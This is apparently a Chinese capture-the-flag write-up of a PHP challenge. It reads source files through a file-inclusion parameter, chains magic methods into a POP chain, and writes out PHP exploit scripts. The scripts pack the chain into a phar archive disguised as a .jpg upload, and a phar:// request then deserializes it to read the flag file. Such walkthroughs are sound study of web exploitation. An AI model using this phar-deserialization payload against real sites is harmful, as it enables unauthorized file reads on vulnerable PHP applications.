pop链以及phar协议

pop链以及phar协议

打开页面,发现是一个查看文件和上传文件的页面,开始以为是文件上传漏洞,发现有后缀名好像有过滤,所以我们再观察查看文件页面,发现一个可疑点

1
file.php?file=

可以推测可能是文件包含,所以构造

1
file.php?file=file.php

读取file.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

源码中有两个文件,分别是class.php和function.php文件,所以我们通过构造

1
2
3
file.php?file=class.php               //读取class.php文件

file.php?file=function.php //读取function.php文件

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

从源码中可知

1
$allowed_types = array("gif","jpeg","jpg","png");

上传文件后缀必须是以上几个

1
2
3
if(file_exists("upload/" . $filename)) { 
unlink($filename);
}

上传文件可以在

1
/upload

目录下看到

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

通过观察源码,我们可以知道可以通过file_get_contents()函数来读取文件的内容,其中class.php中涉及几个魔术方法

1
2
3
__get()魔术方法:从不可访问的属性读取数据会触发
__toString()魔术方法:在类的对象被当作字符串操作时,自动被调用
__set()魔术方法:从不可访问的属性写入数据会触发

pop链的思路

1
2
3
4
1. 要调用file_get()方法要调用get()方法
2. 要调用get()方法要调用魔术方法__get()
3. 要调用魔术方法__get(),要将Show类中的魔术方法__toString()中的$this->str['str']为Test类,从而$this->str['str']->source为从不可访问的属性读取数据
4. 要调用魔术方法__toString(),要将魔术方法__destruct()中的$this->str为Show类,因为$this->test=$this->str,且echo $this->test

所以可以写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class Cle4r
{
public $str;
public $test;
}

class Show{
public $str;
public $source;
}

class Test{
public $params;
public $file;
}

$a=new Cle4r();
$b=new Show();
$c=new Test();
$a->str=$b;
$b->str['str']=$c;
$c->params['source']="/var/www/html/flag.php";

echo serialize($a);
?>

但是要打包成phar文件,所以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

然后用php运行得到exp.phar文件,然后抓包,并将文件后缀改为jpg,然后上传,然后在

1
/upload

可以看见上传文件,然后由于file.php文件中

1
2
3
4
if(file_exists($file)) { 
$show->source = $file;
$show->_show();
} else if (!empty($file))

和class.php文件中的

1
2
3
4
5
6
7
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

可知文件内容可以使用highlight_file()函数显示,所以我们可以构造

1
file.php?file=phar://upload/b78e1e4af578d40825462627147a5573.jpg	

来触发phar文件,进行反序列化,读取flag,但是最后结果需要经过base64解密